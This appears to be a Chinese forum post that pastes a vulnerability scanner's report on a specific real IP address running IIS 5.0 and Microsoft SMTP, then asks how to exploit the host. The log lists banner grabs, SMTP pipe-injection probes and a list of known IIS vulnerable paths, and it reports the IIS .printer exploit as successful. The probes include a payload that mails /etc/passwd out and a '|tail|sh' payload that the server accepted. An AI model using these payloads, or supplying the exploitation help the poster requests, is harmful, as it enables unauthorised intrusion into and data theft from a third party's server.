WEB服务信息检测
服务检测 SMTP-> 220 webserver Microsoft ESMTP MAIL Service, Version: 5.0.2195.6713 ready at Thu, 1 Jul 2004 10:16:18 -0500
服务检测 HTTP-> Microsoft-IIS/5.0
--------------------------------------------------------------------------------
FTP匿名检测
没发现匿名登陆
--------------------------------------------------------------------------------
SMTP检测
支持VRFY
检测 SMTP->218.201.79.30 250 webserver Hello [218.58.154.245]
检测 SMTP->218.201.79.30 检测debug漏洞 500 5.3.3 Unrecognized command
检测 SMTP->218.201.79.30 检测kill漏洞 500 5.3.3 Unrecognized command
检测 SMTP->218.201.79.30 检测wiz漏洞 500 5.3.3 Unrecognized command
检测 SMTP->218.201.79.30 检测rcpt to: /tmp/.rhosts漏洞 503 5.5.2 Need Mail From: first
检测 SMTP->218.201.79.30 检测+ +漏洞 500 5.3.3 Unrecognized command
检测 SMTP->218.201.79.30 检测RSET漏洞 250 2.0.0 Resetting
检测 SMTP->218.201.79.30 检测mail from: |/bin/mail hacker < /etc/passwd漏洞 501 5.5.4 Invalid arguments
检测 SMTP->218.201.79.30 检测RSET漏洞 250 2.0.0 Resetting
检测 SMTP->218.201.79.30 检测mail from: |tail|sh漏洞 250 2.1.0 |tail|sh@webserver....Sender OK
--------------------------------------------------------------------------------
FINGER检测
--------------------------------------------------------------------------------
RPC检测
--------------------------------------------------------------------------------
弱口令检测
--------------------------------------------------------------------------------
端口检测
25 [smtp]
80 [http]
443 [https]
--------------------------------------------------------------------------------
CGI/ASP漏洞
218.201.79.30/*.ida
218.201.79.30/*.idq
218.201.79.30/?PageServices
218.201.79.30/null.htw?CiWebHitsFile=/index.asp%20&CiRestriction=none&CiHiliteType=Full
218.201.79.30/?wp-html-rend
218.201.79.30/?wp-cs-dump
218.201.79.30/?wp-start-ver
218.201.79.30/?wp-verify-link
218.201.79.30/?wp-ver-info
218.201.79.30/?wp-uncheckout
218.201.79.30/?wp-usr-prop
218.201.79.30/?wp-stop-ver
218.201.79.30/abczxv.htw
218.201.79.30/blabla.idq
218.201.79.30/?wp-ver-diff
218.201.79.30/scripts/samples/search/filetime.idq
218.201.79.30/scripts/samples/search/qfullhit.htw
218.201.79.30/scripts/samples/search/qsumrhit.htw
218.201.79.30/scripts/samples/search/query.idq
218.201.79.30/scripts/samples/search/queryhit.idq
218.201.79.30/scripts/samples/search/simple.idq
218.201.79.30/scripts/samples/search/author.idq
218.201.79.30/scripts/samples/search/filesize.idq
218.201.79.30/null.htw
218.201.79.30/prxdocs/misc/prxrch.idq
IIS5.0 NULL.printer Exploit ...OK
怎么利用 啊 谢谢啊~~~!~!~!~!! |
